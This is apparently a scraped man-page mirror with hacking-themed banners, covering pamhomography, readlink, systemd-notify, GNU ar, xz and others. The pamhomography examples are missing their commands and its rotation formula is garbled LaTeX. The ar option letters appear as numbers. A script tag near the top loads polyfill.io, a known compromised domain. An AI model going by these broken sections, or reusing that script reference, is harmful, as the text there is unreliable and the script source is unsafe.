               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2189 - Linux cli command pamhomography

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pamhomography and provides detailed information about the command pamhomography, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pamhomography.

.

<script type=“text/javascript” src=“https://polyfill.io/v3/polyfill.min.js?features=es6"></script> <script type=“text/javascript” id=“MathJax-script” async src=“https://cdn.jsdelivr.net/npm/mathjax@3/es5/tex-mml-chtml.js"></script>

NAME 🖥️ pamhomography 🖥️

stretch/shrink a quadrilateral region of an image to another quadrilateral shape

SYNOPSIS

pamhomography [-from=coords] [-to=coords] [-mapfile=map_file] [-view=coords] [-fill=color] [-verbose [pam_file]

You can abbreviate any option to its shortest unique prefix. You can use two hyphens instead of one to delimit an option. You can separate an option from its value with whitespace instead of =.

DESCRIPTION

This program is part of Netpbm .

pamhomography stretches and shrinks an arbitrary quadrilateral portion of an input image you specify (not necessarily rectangular), into a new quadrilateral shape you specify, producing a new image.

You can do any affine image transformation : translation, reflection, scaling, rotation, and shearing/skewing. However, pamhomography additionally can do bilinear transforms, which means it can warp any quadrilateral to any other quadrilateral, even when this mapping cannot be described using a single set of linear equations. This can be useful, for example, for creating perspective views of rectangular images or for reverse-mapping a perspective view back to a rectangular projection.

OPTIONS

In addition to the options common to all programs based on libnetpbm (most notably -quiet, see Common Options ), pamhomography recognizes the following command line options:

-from=coords
This defines the source quadrilateral. coords is a list of four integer-valued (x, y) coordinates. If you do not specify the source with either -from or -mapfile, the source quadrilateral is the entire input image.

-to=coords
This defines the target quadrilateral. coords is a list of four integer-valued (x, y) coordinates. If you do not specify the target with either -to or -mapfile, the target quadrilateral is the same as the entire input image.

-mapfile=map_file
This names a text file that describes the mapping from the source to the target quadrilateral. The file map_file must contain either eight integer-valued (x, y) coordinates, being the four source coordinates followed by the corresponding four target coordinates, or only four (x, y) coordinates, being only the four target coordinates. In the latter case, the source quadrilateral is taken to be the four corners of the input image in clockwise order, starting from the upper left.

Anything you specify with -to or -from overrides what is in this file.

-view=coords
This defines the target view. coords is a list of two integer-valued (x, y) coordinates: the upper left and lower right boundaries, respectively, of the pixels that will be visible in the output image. If -view is not specified, the target view will fit precisely the target quadrilateral.

-fill=color
This is the color with which the program fills all pixels that lie outside of the target quadrilateral. Specify the color as described for the argument of the pnm_parsecolor() library routine .

The default is black, and for images with a transparency plane, transparent.

-verbose
This makes the program issue some informational messages about what it is doing.

Cooordinates should normally be specified in clockwise order. The syntax is fairly flexible: all characters other than the plus sign, minus sign, and digits are treated as separators. Although coordinates need to be integers, they may lie outside the image’s boundary.

PARAMETERS

pamhomography’s only parameter, pam_file, is the name of the file containing the input image. If you don’t specify pam_file, the image comes from Standard Input.

NOTES

The output image uses the same Netpbm format as the input image.

Simple transformations are best handled by other Netpbm programs, such as those listed in the ‘SEE ALSO’ section below. Use pamhomography for more sophisticated transformations such as perspective adjustments, rotations around an arbitrary point in the image, extraction of non-rectangular quadrilaterals, shearings by coordinates rather than by angle, and, in general, all transformations that are most easily expressed as mapping four points in one image to four points in another image.

EXAMPLES

The following examples use the park_row.ppm test image, which is a photograph of New York City’s Park Row Building , scaled to 441×640, converted to a PPM file, and redistributed under the terms of the GFDL .

The first example showcases the real power of bilinear transformations. Assuming park_row_rect.map has the following contents:

      (0,  0) (440,   0) (440, 639)  (0, 639)

then

projects the building’s facade from a perspective view to a rectilinear front-on view. Remember that pamhomography ignores the parentheses and commas used in park_row_rect.map; they merely make the file more human-readable. We equivalently could have written

or any of myriad other variations.

pamhomography can warp the image to a trapezoid to make it look like it’s leaning backwards in 3-D:

As a very simple example,

flips the image left-to-right. Note that in this case the target quadrilateral’s coordinates are listed in counterclockwise order because that represents the correspondence between points (0, 0) ↔ (440, 0) and (0, 639) ↔ (639, 0).

Scaling is also straightforward. The following command scales down the image from 441×640 to 341×540:

Let’s add 100 pixels of tan border to the above. We use -view and -fill to accomplish that task:

We can add a border without having to scale the image:

The -view option can also be used to extract a rectangle out of an image, discarding the rest of the image:

Specifying the same set of coordinates to -from and -to has the same effect but also allows you to extract non-rectangular quadrilaterals from an image:

Rotation is doable but takes some effort. The challenge is that you need to compute the rotated coordinates yourself. The matrix expression to rotate points (x_1, y_1)\ (x_2, y_2), (x_3, y_3), and (x_4, y_4)\ clockwise by \ heta\ degrees around point (c_x, c_y)\ is

\ egin{bmatrix} 1 & 0 & c_x \ 0 & 1 & c_y \ 0 & 0 & 1 nd{bmatrix} egin{bmatrix}

2190 - Linux cli command readlink

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command readlink and provides detailed information about the command readlink, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the readlink.

NAME 🖥️ readlink 🖥️

print resolved symbolic links or canonical file names

SYNOPSIS

readlink [OPTION]… FILE

DESCRIPTION

Note realpath(1) is the preferred command to use for canonicalization functionality.

Print value of a symbolic link or canonical file name

-f, –canonicalize
canonicalize by following every symlink in every component of the given name recursively; all but the last component must exist

-e, –canonicalize-existing
canonicalize by following every symlink in every component of the given name recursively, all components must exist

-m, –canonicalize-missing
canonicalize by following every symlink in every component of the given name recursively, without requirements on components existence

-n, –no-newline
do not output the trailing delimiter

-q, –quiet

-s, –silent
suppress most error messages (on by default)

-v, –verbose
report error messages

-z, –zero
end each output line with NUL, not newline

–help
display this help and exit

–version
output version information and exit

AUTHOR

Written by Dmitry V. Levin.

REPORTING BUGS

GNU coreutils online help: <https://www.gnu.org/software/coreutils/>
Report any translation bugs to <https://translationproject.org/team/>

COPYRIGHT

Copyright © 2023 Free Software Foundation, Inc. License GPLv3+: GNU GPL version 3 or later <https://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

readlink(2), realpath(1), realpath(3)

Full documentation <https://www.gnu.org/software/coreutils/readlink>
or available locally via: info ‘(coreutils) readlink invocation’

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2191 - Linux cli command system-config-printer-applet

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command system-config-printer-applet and provides detailed information about the command system-config-printer-applet, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the system-config-printer-applet.

NAME 🖥️ system-config-printer-applet 🖥️

config-printer-applet - print job manager

SYNOPSIS

system-config-printer-applet [–help] [–version] [–debug]

DESCRIPTION

system-config-printer-applet is a print job manager for CUPS. Normally it will display a printer icon in the notification area, greyed out when there are no print jobs for the current user. Clicking on the icon displays a simple print job manager for cancelling or reprinting jobs.

To save memory, the applet waits first of all until the user has printed a job before putting the icon in the notification area. To invoke the print job manager before a job has been printed, run the applet with the –no-tray-icon option: a desktop file is provided for this, so that it should appear in the system menu.

As well as displaying a printer icon in the notification area, the applet also provides a D-BUS server for the com.redhat.PrintDriverSelection interface, to help configure a new printer when it is plugged in.

OPTIONS

–help

Display a short usage message.

–version

Display the version of the applet.

–debug

Show debugging information.

AUTHOR

Tim Waugh <[email protected]>

Author.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2192 - Linux cli command systemd-notify

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command systemd-notify and provides detailed information about the command systemd-notify, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the systemd-notify.

NAME 🖥️ systemd-notify 🖥️

notify - Notify service manager about start-up completion and other daemon status changes

SYNOPSIS

systemd-notify [OPTIONS…] [VARIABLE=VALUE…]

systemd-notify [–exec] [OPTIONS…] [VARIABLE=VALUE…] [;] [CMDLINE…]

DESCRIPTION

systemd-notify may be called by service scripts to notify the invoking service manager about status changes. It can be used to send arbitrary information, encoded in an environment-block-like list of strings. Most importantly, it can be used for start-up completion notification.

This is mostly just a wrapper around sd_notify() and makes this functionality available to shell scripts. For details see sd_notify(3).

The command line may carry a list of environment variables to send as part of the status update.

Note that systemd will refuse reception of status updates from this command unless NotifyAccess= is appropriately set for the service unit this command is called from. See systemd.service(5) for details.

Note that sd_notify() notifications may be attributed to units correctly only if either the sending process is still around at the time the service manager processes the message, or if the sending process is explicitly runtime-tracked by the service manager. The latter is the case if the service manager originally forked off the process, i.e. on all processes that match *NotifyAccess=*main or *NotifyAccess=*exec. Conversely, if an auxiliary process of the unit sends an sd_notify() message and immediately exits, the service manager might not be able to properly attribute the message to the unit, and thus will ignore it, even if *NotifyAccess=*all is set for it. To address this systemd-notify will wait until the notification message has been processed by the service manager. When –no-block is used, this synchronization for reception of notifications is disabled, and hence the aforementioned race may occur if the invoking process is not the service manager or spawned by the service manager.

systemd-notify will first attempt to invoke sd_notify() pretending to have the PID of the parent process of systemd-notify (i.e. the invoking process). This will only succeed when invoked with sufficient privileges. On failure, it will then fall back to invoking it under its own PID. This behaviour is useful in order that when the tool is invoked from a shell script the shell process — and not the systemd-notify process — appears as sender of the message, which in turn is helpful if the shell process is the main process of a service, due to the limitations of *NotifyAccess=*all. Use the –pid= switch to tweak this behaviour.

OPTIONS

The following options are understood:

–ready

Inform the invoking service manager about service start-up or configuration reload completion. This is equivalent to systemd-notify READY=1. For details about the semantics of this option see sd_notify(3).

–reloading

Inform the invoking service manager about the beginning of a configuration reload cycle. This is equivalent to systemd-notify RELOADING=1 (but implicitly also sets a MONOTONIC_USEC= field as required for Type=notify-reload services, see systemd.service(5) for details). For details about the semantics of this option see sd_notify(3).

Added in version 253.

–stopping

Inform the invoking service manager about the beginning of the shutdown phase of the service. This is equivalent to systemd-notify STOPPING=1. For details about the semantics of this option see sd_notify(3).

Added in version 253.

–pid=

Inform the service manager about the main PID of the service. Takes a PID as argument. If the argument is specified as “auto” or omitted, the PID of the process that invoked systemd-notify is used, except if thats the service manager. If the argument is specified as “self”, the PID of the systemd-notify command itself is used, and if “parent” is specified the calling process PID is used — even if it is the service manager. –pid=auto is equivalent to systemd-notify MAINPID=$PID. For details about the semantics of this option see sd_notify(3).

If this switch is used in an systemd-notify invocation from a process that shall become the new main process of a service — and which is not the process forked off by the service manager (or the current main process) —, then it is essential to set NotifyAccess=all in the service unit file, or otherwise the notification will be ignored for security reasons. See systemd.service(5) for details.

**–uid=**USER

Set the user ID to send the notification from. Takes a UNIX user name or numeric UID. When specified the notification message will be sent with the specified UID as sender, in place of the user the command was invoked as. This option requires sufficient privileges in order to be able manipulate the user identity of the process.

Added in version 237.

–status=

Send a free-form human readable status string for the daemon to the service manager. This option takes the status string as argument. This is equivalent to systemd-notify STATUS=…. For details about the semantics of this option see sd_notify(3). This information is shown in systemctl(1)s status output, among other places.

–booted

Returns 0 if the system was booted up with systemd, non-zero otherwise. If this option is passed, no message is sent. This option is hence unrelated to the other options. For details about the semantics of this option, see sd_booted(3). An alternate way to check for this state is to call systemctl(1) with the is-system-running command. It will return “offline” if the system was not booted with systemd.

–no-block

Do not synchronously wait for the requested operation to finish. Use of this option is only recommended when systemd-notify is spawned by the service manager, or when the invoking process is directly spawned by the service manager and has enough privileges to allow systemd-notify to send the notification on its behalf. Sending notifications with this option set is prone to race conditions in all other cases.

Added in version 246.

–exec

If specified systemd-notify will execute another command line after it completed its operation, replacing its own process. If used, the list of assignments to include in the message sent must be followed by a “;” character (as separate argument), followed by the command line to execute. This permits “chaining” of commands, i.e. issuing one operation, followed immediately by another, without changing PIDs.

Note that many shells interpret “;” as their own separator for command lines, hence when systemd-notify is invoked from a shell the semicolon must usually be escaped as “".

Added in version 254.

–fd=

Send a file descriptor along with the notification message. This is useful when invoked in services that have the FileDescriptorStoreMax= setting enabled, see systemd.service(5) for details. The specified file descriptor must be passed to systemd-notify when invoked. This option may be used multiple times to pass multiple file descriptors in a single notification message.

To use this functionality from a bash(1) shell, use an expression like the following:

systemd-notify –fd=4 –fd=5 4</some/file 5</some/other/file

Added in version 254.

–fdname=

Set a name to assign to the file descriptors passed via –fd= (see above). This controls the “FDNAME=” field. This setting may only be specified once, and applies to all file descriptors passed. Invoke this tool multiple times in case multiple file descriptors with different file descriptor names shall be submitted.

Added in version 254.

-h, –help

Print a short help text and exit.

–version

Print a short version string and exit.

EXIT STATUS

On success, 0 is returned, a non-zero failure code otherwise.

EXAMPLE

Example 1. Start-up Notification and Status Updates

A simple shell daemon that sends start-up notifications after having set up its communication channel. During runtime it sends further status updates to the init system:

#!/bin/sh

mkfifo /tmp/waldo
systemd-notify --ready --status="Waiting for data..."

while : ; do
        read -r a < /tmp/waldo
        systemd-notify --status="Processing $a"

        # Do something with $a ...

        systemd-notify --status="Waiting for data..."
done

SEE ALSO

systemd(1), systemctl(1), systemd.unit(5), systemd.service(5), sd_notify(3), sd_booted(3)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2193 - Linux cli command mptopdf

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mptopdf and provides detailed information about the command mptopdf, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mptopdf.

NAME 🖥️ mptopdf 🖥️

convert MetaPost figures to PDF

SYNOPSIS

mptopdf [ OPTIONS … ] [ FILENAMES ]

DESCRIPTION

convert MetaPost figures to PDF

OPTIONS

–metafun
use the metafun format to process the file (default is mpost)

–texexec
use texexec (context) to process text snippets

–latex
use latex to process text snippets

AUTHOR

More information about ConTeXt and the tools that come with it can be found at:

maillist: [email protected] / http://www.ntg.nl/mailman/listinfo/ntg-context

webpage: http://www.pragma-ade.nl / http://tex.aanhet.net

wiki: http://contextgarden.net

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2194 - Linux cli command x86_64-linux-gnu-ar

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command x86_64-linux-gnu-ar and provides detailed information about the command x86_64-linux-gnu-ar, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the x86_64-linux-gnu-ar.

NAME 🖥️ x86_64-linux-gnu-ar 🖥️

create, modify, and extract from archives

SYNOPSIS

ar [-X32_64] [-]p[mod] [–plugin name] [–target bfdname] [–output dirname] [–record-libdeps libdeps] [–thin] [relpos] [count] archive [member…]

DESCRIPTION

The GNU ar program creates, modifies, and extracts from archives. An archive is a single file holding a collection of other files in a structure that makes it possible to retrieve the original individual files (called members of the archive).

The original files’ contents, mode (permissions), timestamp, owner, and group are preserved in the archive, and can be restored on extraction.

GNU ar can maintain archives whose members have names of any length; however, depending on how ar is configured on your system, a limit on member-name length may be imposed for compatibility with archive formats maintained with other tools. If it exists, the limit is often 15 characters (typical of formats related to a.out) or 16 characters (typical of formats related to coff).

ar is considered a binary utility because archives of this sort are most often used as libraries holding commonly needed subroutines. Since libraries often will depend on other libraries, ar can also record the dependencies of a library when the –record-libdeps option is specified.

ar creates an index to the symbols defined in relocatable object modules in the archive when you specify the modifier s. Once created, this index is updated in the archive whenever ar makes a change to its contents (save for the q update operation). An archive with such an index speeds up linking to the library, and allows routines in the library to call each other without regard to their placement in the archive.

You may use nm -s or nm –print-armap to list this index table. If an archive lacks the table, another form of ar called ranlib can be used to add just the table.

GNU ar can optionally create a thin archive, which contains a symbol index and references to the original copies of the member files of the archive. This is useful for building libraries for use within a local build tree, where the relocatable objects are expected to remain available, and copying the contents of each object would only waste time and space.

An archive can either be thin or it can be normal. It cannot be both at the same time. Once an archive is created its format cannot be changed without first deleting it and then creating a new archive in its place.

Thin archives are also flattened, so that adding one thin archive to another thin archive does not nest it, as would happen with a normal archive. Instead the elements of the first archive are added individually to the second archive.

The paths to the elements of the archive are stored relative to the archive itself.

GNU ar is designed to be compatible with two different facilities. You can control its activity using command-line options, like the different varieties of ar on Unix systems; or, if you specify the single command-line option -M, you can control it with a script supplied via standard input, like the MRI “librarian” program.

OPTIONS

GNU ar allows you to mix the operation code p and modifier flags mod in any order, within the first command-line argument.

If you wish, you may begin the first command-line argument with a dash.

The p keyletter specifies what operation to execute; it may be any of the following, but you must specify only one of them:

  1. Delete modules from the archive. Specify the names of modules to be deleted as member…; the archive is untouched if you specify no files to delete. If you specify the v modifier, ar lists each module as it is deleted.

  2. Use this operation to move members in an archive. The ordering of members in an archive can make a difference in how programs are linked using the library, if a symbol is defined in more than one member. If no modifiers are used with m, any members you name in the member arguments are moved to the end of the archive; you can use the a, b, or i modifiers to move them to a specified place instead.

  3. Print the specified members of the archive, to the standard output file. If the v modifier is specified, show the member name before copying its contents to standard output. If you specify no member arguments, all the files in the archive are printed.

  4. Quick append; Historically, add the files member… to the end of archive, without checking for replacement. The modifiers a, b, and i do not affect this operation; new members are always placed at the end of the archive. The modifier v makes ar list each file as it is appended. Since the point of this operation is speed, implementations of ar have the option of not updating the archive’s symbol table if one exists. Too many different systems however assume that symbol tables are always up-to-date, so GNU ar will rebuild the table even with a quick append. Note - GNU ar treats the command qs as a synonym for r - replacing already existing files in the archive and appending new ones at the end.

  5. Insert the files member… into archive (with replacement). This operation differs from q in that any previously existing members are deleted if their names match those being added. If one of the files named in member… does not exist, ar displays an error message, and leaves undisturbed any existing members of the archive matching that name. By default, new members are added at the end of the file; but you may use one of the modifiers a, b, or i to request placement relative to some existing member. The modifier v used with this operation elicits a line of output for each file inserted, along with one of the letters a or r to indicate whether the file was appended (no old member deleted) or replaced.

  6. Add an index to the archive, or update it if it already exists. Note this command is an exception to the rule that there can only be one command letter, as it is possible to use it as either a command or a modifier. In either case it does the same thing.

  7. Display a table listing the contents of archive, or those of the files listed in member… that are present in the archive. Normally only the member name is shown, but if the modifier O is specified, then the corresponding offset of the member is also displayed. Finally, in order to see the modes (permissions), timestamp, owner, group, and size the v modifier should be included. If you do not specify a member, all files in the archive are listed. If there is more than one file with the same name (say, fie) in an archive (say b.a), ar t b.a fie lists only the first instance; to see them all, you must ask for a complete listing—in our example, ar t b.a.

  8. Extract members (named member) from the archive. You can use the v modifier with this operation, to request that ar list each name as it extracts it. If you do not specify a member, all files in the archive are extracted. Files cannot be extracted from a thin archive, and there are restrictions on extracting from archives created with P: The paths must not be absolute, may not contain .., and any subdirectories in the paths must exist. If it is desired to avoid these restrictions then used the –output option to specify an output directory.

A number of modifiers (mod) may immediately follow the p keyletter, to specify variations on an operation’s behavior:

  1. Add new files after an existing member of the archive. If you use the modifier a, the name of an existing archive member must be present as the relpos argument, before the archive specification.

  2. Add new files before an existing member of the archive. If you use the modifier b, the name of an existing archive member must be present as the relpos argument, before the archive specification. (same as i).

  3. Create the archive. The specified archive is always created if it did not exist, when you request an update. But a warning is issued unless you specify in advance that you expect to create it, by using this modifier.

  1. Operate in deterministic mode. When adding files and the archive index use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. When this option is used, if ar is used with identical options and identical input files, multiple runs will create identical output files regardless of the input files’ owners, groups, file modes, or modification times. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the U modifier, below.
  1. Truncate names in the archive. GNU ar will normally permit file names of any length. This will cause it to create archives which are not compatible with the native ar program on some systems. If this is a concern, the f modifier may be used to truncate file names when putting them in the archive.
  1. Insert new files before an existing member of the archive. If you use the modifier i, the name of an existing archive member must be present as the relpos argument, before the archive specification. (same as b).
  1. Specify dependencies of this library. The dependencies must immediately follow this option character, must use the same syntax as the linker command line, and must be specified within a single argument. I.e., if multiple items are needed, they must be quoted to form a single command line argument. For example l “-L/usr/local/lib -lmydep1 -lmydep2”
  1. Uses the count parameter. This is used if there are multiple entries in the archive with the same name. Extract or delete instance count of the given name from the archive.
  1. Preserve the original dates of members when extracting them. If you do not specify this modifier, files extracted from the archive are stamped with the time of extraction.
  1. Display member offsets inside the archive. Use together with the t option.

  2. Use the full path name when matching or storing names in the archive. Archives created with full path names are not POSIX compliant, and thus may not work with tools other than up to date GNU tools. Modifying such archives with GNU ar without using P will remove the full path names unless the archive is a thin archive. Note that P may be useful when adding files to a thin archive since r without P ignores the path when choosing which element to replace. Thus ar rcST archive.a subdir/file1 subdir/file2 file1 will result in the first subdir/file1 being replaced with file1 from the current directory. Adding P will prevent this replacement.

  1. Write an object-file index into the archive, or update an existing one, even if no other change is made to the archive. You may use this modifier flag either with any operation, or alone. Running ar s on an archive is equivalent to running ranlib on it.
  1. Do not generate an archive symbol table. This can speed up building a large library in several steps. The resulting archive can not be used with the linker. In order to build a symbol table, you must omit the S modifier on the last execution of ar, or you must run ranlib on the archive.

  2. Deprecated alias for –thin. T is not recommended because in many ar implementations T has a different meaning, as specified by X/Open System Interface.

  1. Normally, ar r… inserts all files listed into the archive. If you would like to insert only those of the files you list that are newer than existing members of the same names, use this modifier. The u modifier is allowed only for the operation r (replace). In particular, the combination qu is not allowed, since checking the timestamps would lose any speed advantage from the operation q. Note - if an archive has been created in a deterministic manner, eg via the use of the D modifier, then replacement will always happen and the u modifier will be ineffective.
  1. Do not operate in deterministic mode. This is the inverse of the D modifier, above: added files and the archive index will get their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.
  1. This modifier requests the verbose version of an operation. Many operations display additional information, such as filenames processed, when the modifier v is appended.
  1. This modifier shows the version number of ar.

The ar program also supports some command-line options which are neither modifiers nor actions, but which do change its behaviour in specific ways:

–help
Displays the list of command-line options supported by ar and then exits.

–version
Displays the version information of ar and then exits.

-X32_64
ar ignores an initial option spelled -X32_64, for compatibility with AIX. The behaviour produced by this option is the default for GNU ar. ar does not support any of the other -X options; in particular, it does not support -X32 which is the default for AIX ar.

–plugin name
The optional command-line switch –plugin name causes ar to load the plugin called name which adds support for more file formats, including object files with link-time optimization information. This option is only available if the toolchain has been built with plugin support enabled. If –plugin is not provided, but plugin support has been enabled then ar iterates over the files in ${libdir}/bfd-plugins in alphabetic order and the first plugin that claims the object in question is used. Please note that this plugin search directory is not the one used by ld’s -plugin option. In order to make ar use the linker plugin it must be copied into the ${libdir}/bfd-plugins directory. For GCC based compilations the linker plugin is called liblto_plugin.so.0.0.0. For Clang based compilations it is called LLVMgold.so. The GCC plugin is always backwards compatible with earlier versions, so it is sufficient to just copy the newest one.

–target target
The optional command-line switch –target bfdname specifies that the archive members are in an object code format different from your system’s default format. See

–output dirname
The –output option can be used to specify a path to a directory into which archive members should be extracted. If this option is not specified then the current directory will be used. Note - although the presence of this option does imply a x extraction operation that option must still be included on the command line.

–record-libdeps libdeps
The –record-libdeps option is identical to the l modifier, just handled in long form.

–thin
Make the specified archive a thin archive. If it already exists and is a regular archive, the existing members must be present in the same directory as archive.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

nm (1), ranlib (1), and the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2195 - Linux cli command unlzma

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command unlzma and provides detailed information about the command unlzma, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the unlzma.

NAME 🖥️ unlzma 🖥️

Compress or decompress .xz and .lzma files

SYNOPSIS

xz [option…] [file…]

COMMAND ALIASES

unxz is equivalent to xz –decompress.
xzcat is equivalent to xz –decompress –stdout.
lzma is equivalent to xz –format=lzma.
unlzma is equivalent to xz –format=lzma –decompress.
lzcat is equivalent to xz –format=lzma –decompress –stdout.

When writing scripts that need to decompress files, it is recommended to always use the name xz with appropriate arguments (xz -d or xz -dc) instead of the names unxz and xzcat.

DESCRIPTION

xz is a general-purpose data compression tool with command line syntax similar to gzip(1) and bzip2(1). The native file format is the .xz format, but the legacy .lzma format used by LZMA Utils and raw compressed streams with no container format headers are also supported. In addition, decompression of the .lz format used by lzip is supported.

xz compresses or decompresses each file according to the selected operation mode. If no files are given or file is -, xz reads from standard input and writes the processed data to standard output. xz will refuse (display an error and skip the file) to write compressed data to standard output if it is a terminal. Similarly, xz will refuse to read compressed data from standard input if it is a terminal.

Unless –stdout is specified, files other than - are written to a new file whose name is derived from the source file name:
